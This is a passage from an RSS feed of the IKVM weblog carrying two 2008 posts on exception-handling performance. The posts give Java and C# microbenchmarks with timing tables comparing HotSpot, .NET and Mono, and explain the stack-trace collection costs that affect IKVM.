          <font color="#0000ff">for</font> (<font color="#0000ff">int</font> i
      = 0; i &lt; 100000; i++) {<br />
            x.fillInStackTrace();<br />
          }<br />
          <font color="#0000ff">long</font> end = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#2b91af">System</font>.out.println(end - start);<br />
        }<br />
      }</code>
        </p>
        <p>
      Results:
   </p>
        <table cellspacing="0" border="0">
          <tbody>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid; BORDER-BOTTOM: black 1px solid" align="right">
               Depth</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   HotSpot 1.6 x86</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   .NET 1.1 SP1</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   .NET 2.0 SP1 x86</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   Mono 1.9 x86</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid" align="right">
               1</td>
              <td align="right">
               64</td>
              <td align="right">
               2930</td>
              <td align="right">
               4611</td>
              <td align="right">
               19377</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid" align="right">
               10</td>
              <td align="right">
               85</td>
              <td align="right">
               3814</td>
              <td align="right">
               6787</td>
              <td align="right">
               34895</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid" align="right">
               100</td>
              <td align="right">
               380</td>
              <td align="right">
               12500</td>
              <td align="right">
               27935</td>
              <td align="right">
                </td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid" align="right">
               1000</td>
              <td align="right">
               3543</td>
              <td align="right">
                </td>
              <td align="right">
                </td>
              <td align="right">
                </td>
            </tr>
          </tbody>
        </table>
        <br />
        <p>
      For the curious, the IKVM implementation of <code>Throwable.fillInStackTrace()</code> is
      essentially <code>new <a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.stacktrace.aspx">System.Diagnostics.StackTrace</a>(true);</code></p>
        <p>
      Next time we'll wrap things up.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=388b2a6d-e7b2-4ffa-86e7-450c87e6178f" />
      </body>
      <title>Exception Performance Part 2</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</link>
      <pubDate>Mon, 30 Jun 2008 07:22:06 GMT</pubDate>
      <description>&lt;p&gt;
   &lt;a href="/PermaLink.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b"&gt;Last time&lt;/a&gt; we
   saw that CLR exception handling is significantly slower than HotSpot exception handling.
   This time we'll look at two very variations of the ExceptionPerf1 microbenchmark that
   significantly affect performance.
&lt;/p&gt;
&lt;p&gt;
   I've highlighted the changes.
&lt;/p&gt;
&lt;p&gt;
   Variation 1
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;public class&lt;/font&gt; &lt;font color=#2b91af&gt;ExceptionPerf2&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;public static void&lt;/font&gt; main(&lt;font color=#2b91af&gt;String&lt;/font&gt;[]
   args) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; start = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;for&lt;/font&gt; (&lt;font color=#0000ff&gt;int&lt;/font&gt; i
   = 0; i &amp;lt; 100000; i++) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;try&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Integer&lt;/font&gt;.parseInt(&lt;span style="BACKGROUND-COLOR: #ffff00"&gt;&lt;font color=#a31515&gt;""&lt;/font&gt;&lt;/span&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;catch&lt;/font&gt; (&lt;font color=#2b91af&gt;NumberFormatException&lt;/font&gt; x)
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; end = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;System&lt;/font&gt;.out.println(end - start);&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Variation 2
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;public class&lt;/font&gt; &lt;font color=#2b91af&gt;ExceptionPerf3&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp; &lt;span style="BACKGROUND-COLOR: #ffff00"&gt;&lt;font color=#0000ff&gt;static&lt;/font&gt; &lt;font color=#2b91af&gt;NumberFormatException&lt;/font&gt; exc;&lt;/span&gt;
   &lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;public static void&lt;/font&gt; main(&lt;font color=#2b91af&gt;String&lt;/font&gt;[]
   args) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; start = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;for&lt;/font&gt; (&lt;font color=#0000ff&gt;int&lt;/font&gt; i
   = 0; i &amp;lt; 100000; i++) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;try&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Integer&lt;/font&gt;.parseInt(&lt;font color=#0000ff&gt;null&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;catch&lt;/font&gt; (&lt;font color=#2b91af&gt;NumberFormatException&lt;/font&gt; x)
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="BACKGROUND-COLOR: #ffff00"&gt;exc
   = x;&lt;/span&gt;
   &lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; end = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;System&lt;/font&gt;.out.println(end - start);&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Results:
&lt;/p&gt;
&lt;table cellspacing=0 border=0&gt;
   &lt;tbody&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid; BORDER-BOTTOM: black 1px solid"&gt;
            &amp;nbsp;&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; HotSpot 1.6 x86&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; .NET 1.1 SP1&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; .NET 2.0 SP1 x86&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; Mono 1.9 x86&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid"&gt;
            ExceptionPerf1&lt;/td&gt;
         &lt;td align=right&gt;
            111&lt;/td&gt;
         &lt;td align=right&gt;
            14743&lt;/td&gt;
         &lt;td align=right&gt;
            3590&lt;/td&gt;
         &lt;td align=right&gt;
            537&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid"&gt;
            ExceptionPerf2&lt;/td&gt;
         &lt;td align=right&gt;
            140&lt;/td&gt;
         &lt;td align=right&gt;
            15735&lt;/td&gt;
         &lt;td align=right&gt;
            10761&lt;/td&gt;
         &lt;td align=right&gt;
            36309&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid"&gt;
            ExceptionPerf3&lt;/td&gt;
         &lt;td align=right&gt;
            112&lt;/td&gt;
         &lt;td align=right&gt;
            14946&lt;/td&gt;
         &lt;td align=right&gt;
            9728&lt;/td&gt;
         &lt;td align=right&gt;
            24107&lt;/td&gt;
      &lt;/tr&gt;
   &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;
   &lt;br&gt;
   .NET/Mono results with IKVM 0.36
&lt;/p&gt;
&lt;p&gt;
   &lt;b&gt;Why do these small changes have such a big perf impact?&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
   Both these changes result in additional stack trace data being collected. IKVM has
   some optimizations that prevent gathering stack traces in very specific circumstances.
   Normally when you create a Java exception object, the &lt;code&gt;&lt;a href="http://java.sun.com/javase/6/docs/api/java/lang/Throwable.html"&gt;Throwable&lt;/a&gt;&lt;/code&gt; constructor
   will call &lt;code&gt;&lt;a href="http://java.sun.com/javase/6/docs/api/java/lang/Throwable.html#fillInStackTrace()"&gt;Throwable.fillInStackTrace()&lt;/a&gt;&lt;/code&gt;.
   However, since this is a very expensive operation, IKVM tries to remove this call
   when it is unnecessary (i.e. when it sees that you immediately throw the exception
   and the exception type doesn't override &lt;code&gt;Throwable.fillInStackTrace()&lt;/code&gt;).
   Additionally, in Java an exception object will always have the complete stack trace,
   but a .NET exception only has the stack frames from the throw to the catch site. This
   means that at the catch site IKVM will collect the rest of the stack trace, unless
   the exception object isn't used (as in the ExceptionPerf1 microbenchmark).
&lt;/p&gt;
&lt;p&gt;
   The time it takes to collect a stack traces obviously depends on the call stack depth,
   so let's look at a microbenchmark to measure that effect:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;ExceptionPerf4&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;public static void&lt;/font&gt; main(&lt;font color=#2b91af&gt;String&lt;/font&gt;[]
   args) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; nest(&lt;font color=#2b91af&gt;Integer&lt;/font&gt;.parseInt(args[0]));&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   &lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;static void&lt;/font&gt; nest(&lt;font color=#0000ff&gt;int&lt;/font&gt; depth)
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;if&lt;/font&gt; (depth &amp;gt; 0) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nest(depth - 1);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;font color=#0000ff&gt;else&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; run();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   &lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;static void&lt;/font&gt; run() {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Exception&lt;/font&gt; x = new &lt;font color=#2b91af&gt;Exception&lt;/font&gt;();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; start = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;for&lt;/font&gt; (&lt;font color=#0000ff&gt;int&lt;/font&gt; i
   = 0; i &amp;lt; 100000; i++) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; x.fillInStackTrace();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; end = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;System&lt;/font&gt;.out.println(end - start);&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Results:
&lt;/p&gt;
&lt;table cellspacing=0 border=0&gt;
   &lt;tbody&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid; BORDER-BOTTOM: black 1px solid" align=right&gt;
            Depth&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; HotSpot 1.6 x86&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; .NET 1.1 SP1&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; .NET 2.0 SP1 x86&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; Mono 1.9 x86&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid" align=right&gt;
            1&lt;/td&gt;
         &lt;td align=right&gt;
            64&lt;/td&gt;
         &lt;td align=right&gt;
            2930&lt;/td&gt;
         &lt;td align=right&gt;
            4611&lt;/td&gt;
         &lt;td align=right&gt;
            19377&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid" align=right&gt;
            10&lt;/td&gt;
         &lt;td align=right&gt;
            85&lt;/td&gt;
         &lt;td align=right&gt;
            3814&lt;/td&gt;
         &lt;td align=right&gt;
            6787&lt;/td&gt;
         &lt;td align=right&gt;
            34895&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid" align=right&gt;
            100&lt;/td&gt;
         &lt;td align=right&gt;
            380&lt;/td&gt;
         &lt;td align=right&gt;
            12500&lt;/td&gt;
         &lt;td align=right&gt;
            27935&lt;/td&gt;
         &lt;td align=right&gt;
            &amp;nbsp;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid" align=right&gt;
            1000&lt;/td&gt;
         &lt;td align=right&gt;
            3543&lt;/td&gt;
         &lt;td align=right&gt;
            &amp;nbsp;&lt;/td&gt;
         &lt;td align=right&gt;
            &amp;nbsp;&lt;/td&gt;
         &lt;td align=right&gt;
            &amp;nbsp;&lt;/td&gt;
      &lt;/tr&gt;
   &lt;/tbody&gt;
&lt;/table&gt;
&lt;br&gt;
&lt;p&gt;
   For the curious, the IKVM implementation of &lt;code&gt;Throwable.fillInStackTrace()&lt;/code&gt; is
   essentially &lt;code&gt;new &lt;a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.stacktrace.aspx"&gt;System.Diagnostics.StackTrace&lt;/a&gt;(true);&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Next time we'll wrap things up.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=388b2a6d-e7b2-4ffa-86e7-450c87e6178f"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=388b2a6d-e7b2-4ffa-86e7-450c87e6178f</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=062e4506-89c4-488e-9104-59c1ec80007b</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      One area where IKVM performance is much worse than HotSpot is in throwing and catching
      exceptions. This blog is the first of three that will look into why this is the case.
   </p>
        <p>
      We start out with two microbenchmarks to highlight the differences.
   </p>
        <p>
      Java
   </p>
        <p>
          <code>
            <font color="#0000ff">public class</font>
            <font color="#2b91af">ExceptionPerf1</font> {<br />
        <font color="#0000ff">public static void</font> main(<font color="#2b91af">String</font>[]
      args) {<br />
          <font color="#0000ff">long</font> start = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#0000ff">for</font> (<font color="#0000ff">int</font> i
      = 0; i &lt; 100000; i++) {<br />
            <font color="#0000ff">try</font> {<br />
              <font color="#2b91af">Integer</font>.parseInt(<font color="#0000ff">null</font>);<br />
            }<br />
            <font color="#0000ff">catch</font> (<font color="#2b91af">NumberFormatException</font> x)
      {<br />
            }<br />
          }<br />
          <font color="#0000ff">long</font> end = <font color="#2b91af">System</font>.currentTimeMillis();<br />
          <font color="#2b91af">System</font>.out.println(end - start);<br />
        }<br />
      }</code>
        </p>
        <p>
      C#
   </p>
        <p>
          <code>
            <font color="#0000ff">using</font> System;<br /><br /><font color="#0000ff">class</font><font color="#2b91af">ExceptionPerf1</font> {<br />
        <font color="#0000ff">public static void</font> Main(<font color="#0000ff">string</font>[]
      args) {<br />
          <font color="#0000ff">int</font> start = <font color="#2b91af">Environment</font>.TickCount;<br />
          <font color="#0000ff">for</font> (<font color="#0000ff">int</font> i
      = 0; i &lt; 100000; i++) {<br />
            <font color="#0000ff">try</font> {<br />
              <font color="#0000ff">throw new</font><font color="#2b91af">Exception</font>();<br />
            }<br />
            <font color="#0000ff">catch</font> (<font color="#2b91af">Exception</font>)
      {<br />
            }<br />
          }<br />
          <font color="#0000ff">int</font> end = <font color="#2b91af">Environment</font>.TickCount;<br />
          <font color="#2b91af">Console</font>.WriteLine(end - start);<br />
        }<br />
      }</code>
        </p>
        <p>
      Results:
   </p>
        <table cellspacing="0" border="0">
          <tbody>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid; BORDER-BOTTOM: black 1px solid">
                </td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   HotSpot 1.6 x86</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   .NET 1.1 SP1</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   .NET 2.0 SP1 x86</td>
              <td style="BORDER-BOTTOM: black 1px solid" align="right">
                   Mono 1.9 x86</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid">
               Java*</td>
              <td align="right">
               111</td>
              <td align="right">
               14743</td>
              <td align="right">
               3590</td>
              <td align="right">
               537</td>
            </tr>
            <tr>
              <td style="BORDER-RIGHT: black 1px solid">
               C#</td>
              <td align="right">
                </td>
              <td align="right">
               11139</td>
              <td align="right">
               2605</td>
              <td align="right">
               187</td>
            </tr>
          </tbody>
        </table>
        <p>
          <br />
      *.NET/Mono results with IKVM 0.36
   </p>
        <p>
      This shows that the situation on the CLR is pretty bad. If you care about exception
      throwing performance, please complain to Microsoft instead of to me. Although I expect
      that they'll tell you not to throw so many exceptions. ;-)
   </p>
        <p>
      On the next episode we'll see that the above microbenchmark is actually a best case
      scenario for IKVM and we'll see how things can get much worse...
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=062e4506-89c4-488e-9104-59c1ec80007b" />
      </body>
      <title>Exception Performance Part 1</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b</link>
      <pubDate>Wed, 25 Jun 2008 10:40:19 GMT</pubDate>
      <description>&lt;p&gt;
   One area where IKVM performance is much worse than HotSpot is in throwing and catching
   exceptions. This blog is the first of three that will look into why this is the case.
&lt;/p&gt;
&lt;p&gt;
   We start out with two microbenchmarks to highlight the differences.
&lt;/p&gt;
&lt;p&gt;
   Java
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;public class&lt;/font&gt; &lt;font color=#2b91af&gt;ExceptionPerf1&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;public static void&lt;/font&gt; main(&lt;font color=#2b91af&gt;String&lt;/font&gt;[]
   args) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; start = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;for&lt;/font&gt; (&lt;font color=#0000ff&gt;int&lt;/font&gt; i
   = 0; i &amp;lt; 100000; i++) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;try&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Integer&lt;/font&gt;.parseInt(&lt;font color=#0000ff&gt;null&lt;/font&gt;);&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;catch&lt;/font&gt; (&lt;font color=#2b91af&gt;NumberFormatException&lt;/font&gt; x)
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;long&lt;/font&gt; end = &lt;font color=#2b91af&gt;System&lt;/font&gt;.currentTimeMillis();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;System&lt;/font&gt;.out.println(end - start);&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   C#
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;using&lt;/font&gt; System;&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;ExceptionPerf1&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;public static void&lt;/font&gt; Main(&lt;font color=#0000ff&gt;string&lt;/font&gt;[]
   args) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;int&lt;/font&gt; start = &lt;font color=#2b91af&gt;Environment&lt;/font&gt;.TickCount;&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;for&lt;/font&gt; (&lt;font color=#0000ff&gt;int&lt;/font&gt; i
   = 0; i &amp;lt; 100000; i++) {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;try&lt;/font&gt; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;throw new&lt;/font&gt; &lt;font color=#2b91af&gt;Exception&lt;/font&gt;();&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;catch&lt;/font&gt; (&lt;font color=#2b91af&gt;Exception&lt;/font&gt;)
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;int&lt;/font&gt; end = &lt;font color=#2b91af&gt;Environment&lt;/font&gt;.TickCount;&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Console&lt;/font&gt;.WriteLine(end - start);&lt;br&gt;
   &amp;nbsp; }&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Results:
&lt;/p&gt;
&lt;table cellspacing=0 border=0&gt;
   &lt;tbody&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid; BORDER-BOTTOM: black 1px solid"&gt;
            &amp;nbsp;&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; HotSpot 1.6 x86&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; .NET 1.1 SP1&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; .NET 2.0 SP1 x86&lt;/td&gt;
         &lt;td style="BORDER-BOTTOM: black 1px solid" align=right&gt;
            &amp;nbsp;&amp;nbsp;&amp;nbsp; Mono 1.9 x86&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid"&gt;
            Java*&lt;/td&gt;
         &lt;td align=right&gt;
            111&lt;/td&gt;
         &lt;td align=right&gt;
            14743&lt;/td&gt;
         &lt;td align=right&gt;
            3590&lt;/td&gt;
         &lt;td align=right&gt;
            537&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
         &lt;td style="BORDER-RIGHT: black 1px solid"&gt;
            C#&lt;/td&gt;
         &lt;td align=right&gt;
            &amp;nbsp;&lt;/td&gt;
         &lt;td align=right&gt;
            11139&lt;/td&gt;
         &lt;td align=right&gt;
            2605&lt;/td&gt;
         &lt;td align=right&gt;
            187&lt;/td&gt;
      &lt;/tr&gt;
   &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;
   &lt;br&gt;
   *.NET/Mono results with IKVM 0.36
&lt;/p&gt;
&lt;p&gt;
   This shows that the situation on the CLR is pretty bad. If you care about exception
   throwing performance, please complain to Microsoft instead of to me. Although I expect
   that they'll tell you not to throw so many exceptions. ;-)
&lt;/p&gt;
&lt;p&gt;
   On the next episode we'll see that the above microbenchmark is actually a best case
   scenario for IKVM and we'll see how things can get much worse...
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=062e4506-89c4-488e-9104-59c1ec80007b"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=062e4506-89c4-488e-9104-59c1ec80007b</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=f0ac439f-699f-47ed-8d18-28eff25cfc40</pingback:target>
